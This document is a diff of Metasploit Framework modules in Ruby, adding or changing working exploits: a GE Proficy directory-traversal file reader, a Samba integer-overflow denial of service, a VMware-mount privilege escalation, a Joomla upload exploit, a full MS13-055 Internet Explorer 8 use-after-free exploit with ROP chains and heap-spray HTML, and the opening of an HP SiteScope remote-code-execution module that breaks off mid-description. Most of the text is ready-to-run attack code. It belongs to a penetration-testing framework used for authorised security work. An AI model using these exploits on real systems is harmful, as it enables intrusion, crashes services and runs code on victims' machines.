|
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
||||||
|
|
||||||
|
# Makes sure there's a starting slash
|
||||||
|
unless new_str[0,1] == '/'
|
||||||
|
new_str = '/' + new_str
|
||||||
|
end
|
||||||
|
|
||||||
|
new_str
|
||||||
|
end
|
||||||
|
|
||||||
|
def target_uri
|
||||||
|
begin
|
||||||
|
# In case TARGETURI is empty, at least we default to '/'
|
||||||
|
u = datastore['TARGETURI']
|
||||||
|
u = "/" if u.nil? or u.empty?
|
||||||
|
URI(u)
|
||||||
|
rescue ::URI::InvalidURIError
|
||||||
|
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
|
||||||
|
raise Msf::OptionValidateError.new(['TARGETURI'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def my_basename(filename)
|
||||||
|
return ::File.basename(filename.gsub(/\\/, "/"))
|
||||||
|
end
|
||||||
|
|
||||||
|
def is_proficy?
|
||||||
|
connect
|
||||||
|
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"
|
||||||
|
sock.put(req)
|
||||||
|
res = sock.get_once
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
if res and res =~ /gefebt\.exe/
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# We can't use the http client msf mixin because the Proficy Web server
|
||||||
|
# return a malformed HTTP response with the file contents, there aren't
|
||||||
|
# two new lines (but one) between the HTTP headers and the body content.
|
||||||
|
def read_file(file)
|
||||||
|
travs = ""
|
||||||
|
travs << "../" * datastore['DEPTH']
|
||||||
|
travs << file
|
||||||
|
|
||||||
|
print_status("#{@peer} - Retrieving file contents...")
|
||||||
|
|
||||||
|
connect
|
||||||
|
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
|
||||||
|
sock.put(req)
|
||||||
|
res = sock.get_once
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
if res and res =~ /HTTP\/1\.0 200 OK/
|
||||||
|
return res
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
@peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
print_status("#{@peer} - Checking if it's a GE Proficy Application...")
|
||||||
|
if is_proficy?
|
||||||
|
print_good("#{@peer} - Check successful")
|
||||||
|
else
|
||||||
|
print_error("#{@peer} - GE proficy not found")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
contents = read_file(datastore['FILEPATH'])
|
||||||
|
if contents.nil?
|
||||||
|
print_error("#{@peer} - File not downloaded")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
file_name = my_basename(datastore['FILEPATH'])
|
||||||
|
path = store_loot(
|
||||||
|
'ge.proficy.traversal',
|
||||||
|
'application/octet-stream',
|
||||||
|
rhost,
|
||||||
|
contents,
|
||||||
|
file_name
|
||||||
|
)
|
||||||
|
print_good("#{rhost}:#{rport} - File saved in: #{path}")
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,128 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/struct2'
|
||||||
|
require 'rex/proto/smb'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::DCERPC
|
||||||
|
include Msf::Exploit::Remote::SMB::Authenticated
|
||||||
|
|
||||||
|
TRANS2_PARAM = Rex::Struct2::CStructTemplate.new(
|
||||||
|
[ 'uint16v', 'FID', 0 ],
|
||||||
|
[ 'uint16v', 'InfoLevel', 0 ],
|
||||||
|
[ 'uint16v', 'Reserved', 0 ],
|
||||||
|
)
|
||||||
|
|
||||||
|
FEA_LIST = Rex::Struct2::CStructTemplate.new(
|
||||||
|
[ 'uint32v', 'NextOffset', 0 ],
|
||||||
|
[ 'uint8', 'Flags', 0 ],
|
||||||
|
[ 'uint8', 'NameLen', 0 ],
|
||||||
|
[ 'uint16v', 'ValueLen', 0 ],
|
||||||
|
[ 'string', 'Name', nil, '' ],
|
||||||
|
[ 'string', 'Value', nil, '' ]
|
||||||
|
)
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Samba read_nttrans_ea_list Integer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
Integer overflow in the read_nttrans_ea_list function in nttrans.c in
|
||||||
|
smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before
|
||||||
|
4.0.8 allows remote attackers to cause a denial of service (memory
|
||||||
|
consumption) via a malformed packet. Important Note: in order to work
|
||||||
|
the "ea support" option on the target share must be enabled.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jeremy Allison', # Vulnerability discovery
|
||||||
|
'dz_lnly' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['OSVDB', '95969'],
|
||||||
|
['BID', '61597'],
|
||||||
|
['EDB', '27778'],
|
||||||
|
['CVE', '2013-4124']
|
||||||
|
],
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SMBShare', [true, 'Target share', '']),
|
||||||
|
OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]),
|
||||||
|
OptInt.new('Tries', [true, 'Number of DOS tries', 40]),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_fid
|
||||||
|
ok = self.simple.client.create("/")
|
||||||
|
return ok['Payload'].v['FileID']
|
||||||
|
end
|
||||||
|
|
||||||
|
def mk_items_payload
|
||||||
|
item1 = FEA_LIST.make_struct
|
||||||
|
item1.v['ValueLen'] = datastore['MsgLen']
|
||||||
|
item1.v['Value'] = "\x00" * datastore['MsgLen']
|
||||||
|
item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||||
|
item1.v['NameLen'] = item1.v['Name'].length
|
||||||
|
item2 = FEA_LIST.make_struct
|
||||||
|
item2.v['ValueLen'] = datastore['MsgLen']
|
||||||
|
item2.v['Value'] = "\x00" * datastore['MsgLen']
|
||||||
|
item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||||
|
item2.v['NameLen'] = item1.v['Name'].length
|
||||||
|
item3 = FEA_LIST.make_struct # Some padding
|
||||||
|
item3.v['ValueLen'] = 4
|
||||||
|
item3.v['Value'] = "\x00\x00\x00\x00"
|
||||||
|
item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||||
|
item3.v['NameLen'] = item1.v['Name'].length
|
||||||
|
|
||||||
|
ilen = item1.to_s.length
|
||||||
|
item1.v['NextOffset'] = ilen
|
||||||
|
# Wrap offset to 0x00
|
||||||
|
item2.v['NextOffset'] = 0xffffffff - ilen + 1
|
||||||
|
return item1.to_s + item2.to_s + item3.to_s
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_pkt
|
||||||
|
fid = get_fid
|
||||||
|
|
||||||
|
trans = TRANS2_PARAM.make_struct
|
||||||
|
trans.v['FID'] = fid
|
||||||
|
trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION
|
||||||
|
data = mk_items_payload
|
||||||
|
subcmd = 0x08
|
||||||
|
self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("Trying a max of #{datastore['Tries']} times...")
|
||||||
|
datastore['Tries'].times do
|
||||||
|
connect()
|
||||||
|
smb_login()
|
||||||
|
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
||||||
|
|
||||||
|
print_status('Sending malicious package...')
|
||||||
|
send_pkt
|
||||||
|
|
||||||
|
begin
|
||||||
|
self.simple.client.create("")
|
||||||
|
print_status('Server Answered, DoS unsuccessful')
|
||||||
|
rescue Timeout::Error
|
||||||
|
print_good('Server timed out, this is expected')
|
||||||
|
return
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::InvalidType
|
||||||
|
print_status('Server Answered, DoS unsuccessful')
|
||||||
|
end
|
||||||
|
disconnect()
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -264,7 +264,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||||
|
|
||||||
# Not successful yet, maybe we got a password prompt.
|
# Not successful yet, maybe we got a password prompt.
|
||||||
if password_prompt?
|
if password_prompt?(user)
|
||||||
send_pass(pass)
|
send_pass(pass)
|
||||||
|
|
||||||
# Allow for slow echos
|
# Allow for slow echos
|
||||||
|
|
|
@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:proto => 'tcp',
|
:proto => 'tcp',
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:type => 'smb.shares',
|
:type => 'smb.shares',
|
||||||
:data => { :shares => shares.inspect },
|
:data => { :shares => shares },
|
||||||
:update => :unique_data
|
:update => :unique_data
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||||
|
|
||||||
if password_prompt?
|
if password_prompt?(user)
|
||||||
send_pass(pass)
|
send_pass(pass)
|
||||||
|
|
||||||
# Allow for slow echos
|
# Allow for slow echos
|
||||||
|
|
|
@ -43,6 +43,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
'DefaultOptions' => {
|
'DefaultOptions' => {
|
||||||
"PrependSetresuid" => true,
|
"PrependSetresuid" => true,
|
||||||
"PrependSetresgid" => true,
|
"PrependSetresgid" => true,
|
||||||
|
"PrependFork" => true,
|
||||||
},
|
},
|
||||||
'Privileged' => true,
|
'Privileged' => true,
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
|
@ -56,8 +57,6 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
'DisclosureDate' => "Aug 22 2013"
|
'DisclosureDate' => "Aug 22 2013"
|
||||||
}
|
}
|
||||||
))
|
))
|
||||||
# Handled by ghetto hardcoding below.
|
|
||||||
deregister_options("PrependFork")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
|
@ -73,22 +72,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
|
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
|
||||||
end
|
end
|
||||||
|
|
||||||
# Ghetto PrependFork action which is apparently only implemented for
|
write_file("lsb_release", generate_payload_exe)
|
||||||
# Meterpreter.
|
|
||||||
# XXX Put this in a mixin somewhere
|
|
||||||
# if(fork()) exit(0);
|
|
||||||
# 6A02 push byte +0x2
|
|
||||||
# 58 pop eax
|
|
||||||
# CD80 int 0x80 ; fork
|
|
||||||
# 85C0 test eax,eax
|
|
||||||
# 7406 jz 0xf
|
|
||||||
# 31C0 xor eax,eax
|
|
||||||
# B001 mov al,0x1
|
|
||||||
# CD80 int 0x80 ; exit
|
|
||||||
exe = generate_payload_exe(
|
|
||||||
:code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
|
|
||||||
)
|
|
||||||
write_file("lsb_release", exe)
|
|
||||||
|
|
||||||
cmd_exec("chmod +x lsb_release")
|
cmd_exec("chmod +x lsb_release")
|
||||||
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
|
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
|
||||||
|
|
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Joomla 2.5.x <=2.5.13', {} ]
|
[ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ]
|
||||||
],
|
],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'DisclosureDate' => "Aug 01 2013",
|
'DisclosureDate' => "Aug 01 2013",
|
||||||
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
def check
|
def check
|
||||||
res = get_upload_form
|
res = get_upload_form
|
||||||
|
|
||||||
if res and res.code == 200
|
if res and (res.code == 200 or res.code == 302)
|
||||||
if res.body =~ /You are not authorised to view this resource/
|
if res.body =~ /You are not authorised to view this resource/
|
||||||
print_status("#{peer} - Joomla Media Manager Found but authentication required")
|
print_status("#{peer} - Joomla Media Manager Found but authentication required")
|
||||||
return Exploit::CheckCode::Detected
|
return Exploit::CheckCode::Detected
|
||||||
|
@ -124,7 +124,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'vars_get' => {
|
'vars_get' => {
|
||||||
'option' => 'com_media',
|
'option' => 'com_media',
|
||||||
'view' => 'images',
|
'view' => 'images',
|
||||||
'tmpl' => 'component',
|
|
||||||
'e_name' => 'jform_articletext',
|
'e_name' => 'jform_articletext',
|
||||||
'asset' => 'com_content',
|
'asset' => 'com_content',
|
||||||
'author' => ''
|
'author' => ''
|
||||||
|
@ -182,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_status("#{peer} - Checking Access to Media Component...")
|
print_status("#{peer} - Checking Access to Media Component...")
|
||||||
res = get_upload_form
|
res = get_upload_form
|
||||||
|
|
||||||
if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
|
if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
|
||||||
print_status("#{peer} - Authentication required... Proceeding...")
|
print_status("#{peer} - Authentication required... Proceeding...")
|
||||||
|
|
||||||
if @username.empty? or @password.empty?
|
if @username.empty? or @password.empty?
|
||||||
|
@ -192,7 +191,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
print_status("#{peer} - Accessing the Login Form...")
|
print_status("#{peer} - Accessing the Login Form...")
|
||||||
res = get_login_form
|
res = get_login_form
|
||||||
if res.nil? or res.code != 200 or res.body !~ /login/
|
if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/
|
||||||
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")
|
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")
|
||||||
end
|
end
|
||||||
parse_login_options(res.body)
|
parse_login_options(res.body)
|
||||||
|
@ -201,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
if not res or res.code != 303
|
if not res or res.code != 303
|
||||||
fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")
|
fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")
|
||||||
end
|
end
|
||||||
elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
|
elsif res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||||
print_status("#{peer} - Authentication isn't required.... Proceeding...")
|
print_status("#{peer} - Authentication isn't required.... Proceeding...")
|
||||||
@cookies = res.get_cookies.sub(/;$/, "")
|
@cookies = res.get_cookies.sub(/;$/, "")
|
||||||
else
|
else
|
||||||
|
@ -211,7 +210,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_status("#{peer} - Accessing the Upload Form...")
|
print_status("#{peer} - Accessing the Upload Form...")
|
||||||
res = get_upload_form
|
res = get_upload_form
|
||||||
|
|
||||||
if res and res.code == 200 and res.body =~ /<form action="(.*)" id="uploadForm"/
|
if res and (res.code == 200 or res.code == 302) and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||||
upload_uri = Rex::Text.html_decode($1)
|
upload_uri = Rex::Text.html_decode($1)
|
||||||
else
|
else
|
||||||
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
|
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
|
||||||
|
|
|
@ -0,0 +1,259 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
|
||||||
|
'Description' => %q{
|
||||||
|
In IE8 standards mode, it's possible to cause a use-after-free condition by first
|
||||||
|
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
|
||||||
|
with the final node being a sub table element. When the CPhraseElement's outer
|
||||||
|
content is reset by using either outerText or outerHTML through an event handler,
|
||||||
|
this triggers a free of its child element (in this case, a CAnchorElement, but
|
||||||
|
some other objects apply too), but a reference is still kept in function
|
||||||
|
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
|
||||||
|
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
|
||||||
|
make a call to the object's SecurityContext virtual function at offset +0x70, which
|
||||||
|
results a crash. An attacker can take advantage of this by first creating an
|
||||||
|
CAnchorElement object, let it free, and then replace the freed memory with another
|
||||||
|
fake object. Successfully doing so may allow arbitrary code execution under the
|
||||||
|
context of the user.
|
||||||
|
|
||||||
|
This bug is specific to Internet Explorer 8 only. It was originally discovered by
|
||||||
|
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Orange Tsai', # Original discovery, PoC
|
||||||
|
'Peter Vreugdenhil', # Joins the party (wtfuzz)
|
||||||
|
'sinn3r' # Joins the party
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'MSB', 'MS13-055' ],
|
||||||
|
[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', {} ],
|
||||||
|
[
|
||||||
|
'IE 8 on Windows XP SP3',
|
||||||
|
{
|
||||||
|
'Rop' => :msvcrt,
|
||||||
|
'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
|
||||||
|
'Align' => 0x77c4d801 # add esp, 0x2c; ret
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'IE 8 on Windows 7',
|
||||||
|
{
|
||||||
|
'Rop' => :jre,
|
||||||
|
'Pivot' => 0x7c348b05, # xchg eax, esp; ret
|
||||||
|
'Align' => 0x7C3445F8 # add esp, 0x2c; ret
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00"
|
||||||
|
},
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
|
},
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "Jul 09 2013",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_target(agent)
|
||||||
|
return target if target.name != 'Automatic'
|
||||||
|
|
||||||
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||||
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||||
|
|
||||||
|
ie_name = "IE #{ie}"
|
||||||
|
|
||||||
|
case nt
|
||||||
|
when '5.1'
|
||||||
|
os_name = 'Windows XP SP3'
|
||||||
|
when '6.1'
|
||||||
|
os_name = 'Windows 7'
|
||||||
|
end
|
||||||
|
|
||||||
|
targets.each do |t|
|
||||||
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||||
|
return t
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_payload(t, cli)
|
||||||
|
rop = ''
|
||||||
|
code = payload.encoded
|
||||||
|
esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
|
||||||
|
|
||||||
|
case t['Rop']
|
||||||
|
when :msvcrt
|
||||||
|
# Stack adjustment # add esp, -3500
|
||||||
|
esp_align = "\x81\xc4\x54\xf2\xff\xff"
|
||||||
|
|
||||||
|
print_status("Using msvcrt ROP")
|
||||||
|
rop =
|
||||||
|
[
|
||||||
|
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
|
||||||
|
0x77c1e844, # skip 4 bytes [msvcrt.dll]
|
||||||
|
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
|
||||||
|
0xffffffff,
|
||||||
|
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||||
|
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||||
|
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
|
||||||
|
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
|
||||||
|
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||||
|
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
|
||||||
|
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
|
||||||
|
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
|
||||||
|
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||||
|
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
|
||||||
|
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
|
||||||
|
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
|
||||||
|
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
|
||||||
|
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
|
||||||
|
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
|
||||||
|
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
|
||||||
|
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
|
||||||
|
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
|
||||||
|
].pack("V*")
|
||||||
|
else
|
||||||
|
print_status("Using JRE ROP")
|
||||||
|
rop =
|
||||||
|
[
|
||||||
|
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
|
||||||
|
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
|
||||||
|
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||||||
|
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
|
||||||
|
0xffffffff,
|
||||||
|
0x7c376402, # skip 4 bytes [msvcr71.dll]
|
||||||
|
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
|
||||||
|
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
|
||||||
|
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
|
||||||
|
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
|
||||||
|
0xffffffc0, # Value to negate, will become 0x00000040
|
||||||
|
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
|
||||||
|
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
|
||||||
|
0x7c38b001, # &Writable location [msvcr71.dll]
|
||||||
|
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||||||
|
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||||||
|
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
|
||||||
|
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
|
||||||
|
# rop chain generated with mona.py
|
||||||
|
].pack("V*")
|
||||||
|
end
|
||||||
|
|
||||||
|
rop_payload = rop
|
||||||
|
rop_payload << esp_align
|
||||||
|
rop_payload << code
|
||||||
|
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
|
||||||
|
|
||||||
|
rop_payload
|
||||||
|
end
|
||||||
|
|
||||||
|
def junk
|
||||||
|
rand_text_alpha(4).unpack("V")[0].to_i
|
||||||
|
end
|
||||||
|
|
||||||
|
def nop
|
||||||
|
make_nops(4).unpack("V")[0].to_i
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_html(t, p)
|
||||||
|
js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
|
||||||
|
js_payload = Rex::Text.to_unescape(p)
|
||||||
|
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
|
||||||
|
js_junk = Rex::Text.to_unescape([junk].pack("V*"))
|
||||||
|
|
||||||
|
q_id = Rex::Text.rand_text_alpha(1)
|
||||||
|
|
||||||
|
html = %Q|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
||||||
|
<head>
|
||||||
|
<meta>
|
||||||
|
<?IMPORT namespace="t" implementation="#default#time2">
|
||||||
|
</meta>
|
||||||
|
</head>
|
||||||
|
<script>
|
||||||
|
#{js_mstime_malloc}
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
var x = document.getElementById("#{q_id}");
|
||||||
|
x.outerText = "";
|
||||||
|
a = document.getElementById('myanim');
|
||||||
|
|
||||||
|
p = '';
|
||||||
|
for (i=0; i < 7; i++) {
|
||||||
|
p += unescape("#{js_junk}");
|
||||||
|
}
|
||||||
|
p += unescape("#{js_payload}");
|
||||||
|
|
||||||
|
fo = unescape("#{js_align}");
|
||||||
|
for (i=0; i < 28; i++) {
|
||||||
|
if (i == 27) { fo += unescape("#{js_pivot}"); }
|
||||||
|
else { fo += unescape("#{js_align}"); }
|
||||||
|
}
|
||||||
|
|
||||||
|
fo += p;
|
||||||
|
|
||||||
|
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<div>
|
||||||
|
<span>
|
||||||
|
<q id='#{q_id}'>
|
||||||
|
<a>
|
||||||
|
<td></td>
|
||||||
|
</a>
|
||||||
|
</q>
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
<t:ANIMATECOLOR id="myanim"/>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
|
||||||
|
html
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
agent = request.headers['User-Agent']
|
||||||
|
t = get_target(agent)
|
||||||
|
|
||||||
|
if t
|
||||||
|
p = get_payload(t, cli)
|
||||||
|
html = get_html(t, p)
|
||||||
|
print_status("Sending exploit...")
|
||||||
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||||
|
else
|
||||||
|
print_error("Not a suitable target: #{agent}")
|
||||||
|
send_not_found(cli)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,173 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStagerVBS
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'HP SiteScope Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a code execution flaw in HP SiteScope.
|
||||||
|
The vulnerability exists on the opcactivate.vbs script, which
|
||||||
|
is reachable from the APIBSMIntegrationImpl AXIS service, and
|
||||||
|
uses WScript.Shell.run() to execute cmd.exe with user provided
|
||||||
|
data. Note that the opcactivate.vbs component is installed
|
||||||
|
